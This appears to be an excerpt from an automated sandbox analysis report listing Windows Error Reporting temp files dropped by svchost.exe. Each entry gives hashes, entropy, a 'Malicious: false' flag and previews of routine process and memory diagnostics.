Encrypted:	false
SSDEEP:	1536:v912dhmQhDfJ8itRhl7+RY05+Zj/ICMVoh7oVaPyTDDow5zvvA8DdnGk:v912dhmQhDfJ8itRhl7+RY05+Zj/ICMx
MD5:	E0D45895FE686DE4F2DED2D95624C833
SHA1:	A9F325256A5D3BDB1AE4857C0D40CF1B14301D1D
SHA-256:	FC59787909D4C2EA6A95D33DB38BE38AFADA86C7581024D4C12C1955CCEB6911
SHA-512:	89912694F442F1F0C2A8ECACDC8590BFEF7B6A1CA58ACB9B7547447A9B643085E1D5DE86028438A0785FB830BB6AE2295B940BD2E92F75B53463477EE4AA7836
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC725.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6965710167552666
Encrypted:	false
SSDEEP:	96:TiZYWrWcMo9YJYGId6xHnYEZcNAtFiGMJSS4wreoHnva+nUM9YvGI30em:2ZD/eWUoHva+nUM9YvBEem
MD5:	260AC13A815E022AAAC305DEA8FE66A7
SHA1:	F2E27CD730EF36AA8F9E4839B383E983F326AE8C
SHA-256:	3614388A4A6E15A68B4B04F40D6E1288CBF135C7030C6F451681B75FFF9DF43F
SHA-512:	8F5B872FD680871E5C37B21C71D53A70F9A58E4551D0A5CF0F2DCEC794C492106BD1C2B55F3E69F385C531A534FCE0EB34AC6663A6BD047F7D270026F6D99AD7
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC86E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98074
Entropy (8bit):	3.069318779192879
Encrypted:	false
SSDEEP:	1536:mL20nW+VDfJ8ivR5l7+RY05+Zj/ICMoolZxaVTdfnDZ1dvv9ueJGMQ:mL20nW+VDfJ8ivR5l7+RY05+Zj/ICMoo
MD5:	D0B31DF04780C0A152E87251DB418081
SHA1:	2CD0813F06D94CA083AF7EB38E1FA148DF7C41C2
SHA-256:	543BFDF00A59C87CF9500410EE28C6B2F1550EBF1181BC628C600444587726C0
SHA-512:	87B3AD01F5717EFC330832D3405067DBA87781BC6F7662DC21D6242BC485066DEC96C38F52BE056FA1524A43C63B02A225E5E708EB0BDBA56489F2773C5C205F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8EC.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98068
Entropy (8bit):	3.069238261630572
Encrypted:	false
SSDEEP:	1536:j23nW+cDfJ8ivR6l7+RY05+Zj/ICMgol0VjV7nSqtvvl4cr7GDk0:j23nW+cDfJ8ivR6l7+RY05+Zj/ICMgo9
MD5:	720E2E91EDECD0CB3C1A4C50CA4E481A
SHA1:	B7DC3ADD0759B115DFC7448BFD93E6D4530A84CF
SHA-256:	487F206861D40FCC6BBDE292DC6215832CE9BF85E06CF67E455E12B840C0821A
SHA-512:	DBB951E05F9DD6D86C63DCB61507A16254CEE0C957342F5E32B66B94F95D72AAB466B16CCB1F625E729D77B935CD055C8287E42A650046945B3541B4DB96AA2E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	102364
Entropy (8bit):	3.0672587635268127
Encrypted:	false
SSDEEP:	3072:1KSkVlzi+WCjR4D05hroMJUhz7+RY05+Zj/ItqK2M6OPXb1aO6Tp+9OmABidA2H:m
MD5:	DFD4469EE4EDF4E86FC832085DB819B2
SHA1:	31DF02D6D32045FB912DCED1DB418D66D647D355
SHA-256:	CAB84CF8FDBACF0C7C527EBC8C5127B0297B743893730CDD25C5729307F8A100
SHA-512:	8003CB9B0824A5397690754979590FF6C773861010A6012B7CF8D65F45E748040BB49887FFA00E79912CD107299B941B155AFA3CBD2A2DB6B248D8EA676B2720
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC91C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6955633918797575
Encrypted:	false
SSDEEP:	96:TiZYW0yLdwXYqZYXfe1HnYEZTIdtFivzMSKSS4wEe8Jasn+qMiYvPIpem:2ZDadE+EYasnlMiYvgpem
MD5:	63189394589AFDD719E5A0EC85E81FE6
SHA1:	54CCC3901D89CB0394145EF8C8E1D53F4A251BF7
SHA-256:	65F198AE45F4E75A58EAC23D0B96C4AD4605D3AAAF0521507C0DE80FC1180805
SHA-512:	1003684FBD7A0B14B1D5078765ADBC38DB1AA05AC30846D608B96DD7A571463BC87A333D69416232898E65C6871912953D0218570AB1B46A65C6ED2CD6EFA5DF
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA84.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696170465724465
Encrypted:	false
SSDEEP:	96:TiZYWD11oWtYLY/f/THyYEZuPtFiTMbSSHwaeJ9a6nQAMAYvjIKem:2ZDJcwiza6nQAMAYvsKem
MD5:	80462785DA4D27C5050080303FB39060
SHA1:	574EB0368D369CCCBF281FAD0F1984A3F67AAEBA
SHA-256:	CC9705EE2DCAEC185C91B0349609FC972D5DDD4EF95D66C91A2D15F0EE5FE46B
SHA-512:	B81AA34C91D3BDF2B908C7EE42D8D2E4B2991C96D7FDE3BA3476CA463E2FF98C73D8EE5B5C820928844C681A676FE88CB5F1233247F8E9C7FD83ED9BFC673AB7
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCBEC.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6961930857294276
Encrypted:	false
SSDEEP:	96:TiZYWmIR0w3V1YJYMIYLvH/YEZrNtFi8M9SSpwYe0cPa0nbM0YvRIkem:2ZDCoe8Y7dPa0nbM0YvOkem
MD5:	BE75A7BEAB0ECC8DE364653EDF5AC37D
SHA1:	4B497ABBC6836CBB0CE1E687517DA9FFB6671C27
SHA-256:	4FBA2AE4506505098944DCB831B6BC28AB2E47C912796635B8E90F2D3EA0E486
SHA-512:	335087E510471C4E91EBD043E4632CF4F9F0988CA749A684506ECF8CC587994F21CEC8D4FDE596D81983455DFDD3F517CDD86159EB6023B0E5E9190C02F2B838
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD45.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99200
Entropy (8bit):	3.0710905008186633
Encrypted:	false
SSDEEP:	3072:TAyZwnRDfJbi6R1l7+RY05+Zj/ICMGoJ0UgkvqfDOuvv107hsQLhZl:x
MD5:	3432B5362272FEE31AFB384D73465898
SHA1:	9B8BA05B6CB0F27B0D56CCC7B06B2E4C3DEC0348
SHA-256:	03335C11128C538AA3B703E234F84D1EF0795754EFA6B3F03B10914156311534
SHA-512:	4DFB2BE1690EC7DC7415288094C134F9BB31EA1563587F12E34BE6E05E940A37548E174CFC0C8515A0F264959E80D391532BBA011F05D0CA5E4B2883EF27E828
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD005.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99548
Entropy (8bit):	3.0701724121148737
Encrypted:	false
SSDEEP:	3072:2XS7n9DfJmi6R3l7+RY05+Zj/ICMECdjU0UW+OqqqYtxi:M
MD5:	DF51971449C212755D445285E39F147F
SHA1:	638871EF928B60EEBCA29E246E5706A8B7DD9CB8
SHA-256:	9FBEB7F8E2AC49080B03F8C5F96471C02CAFE6F266758D50050E69C6B02F5262
SHA-512:	A51CE4FD42E51B594E84660B06246E39305C14A888CBBDCECCEA3731C0D7279E6C5B886E6CAF4AE22CEC95F9148A89EC9C507FFE9EDF105DFCA10BD16C05936A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD054.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6962807722407045
Encrypted:	false
SSDEEP:	96:TiZYWiCwmGJZYaYDUG0HnYEZiftFirM+SScwWeBw0rUaknuM2aYhaI7ep:2ZDEZ9mUKaknuM2aY77ep
MD5:	0D56ED978B8E0981C0248A8F67081DB8
SHA1:	73BD6DD10FB41394BA62829F187F733CDCED4989
SHA-256:	FE91055F82B1ACD6790B7A6EAB972186A3FAD471E209DF1B23CFE3A4F97F1132
SHA-512:	03ACE342E93A1D5E1F7B06173164931DA6F5621ED3AAF4892209034C9830918C7A65CE2ED65374DF18E80D52D77704ECCB11C83C7EAF08E761CF869BC9F9D71F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD14F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99902
Entropy (8bit):	3.0696235459086894
Encrypted:	false
SSDEEP:	3072:DXw7nfDfJmi6RTl7+RY05+Zj/ICM3ap0UWiCqzLQoEKJY3:2
MD5:	87CB8182FB972F262B19CBAF1F15593F
SHA1:	5BE90396A126A372D648F45E580BBC91764A8692
SHA-256:	14B0B30FC86ADEE1DE66F33D3F80063A0268DD37E59E3ECC990C96F81796460A
SHA-512:	A649B6EFC7D896F31FE31CA40847F40A5A04BAEDE8F5AE4EE116CE7EE6D0359710C5D1470A17D5ABB91BD87A5563CD0F8C103E34239211FB881CB79315C04692
Malicious:	false
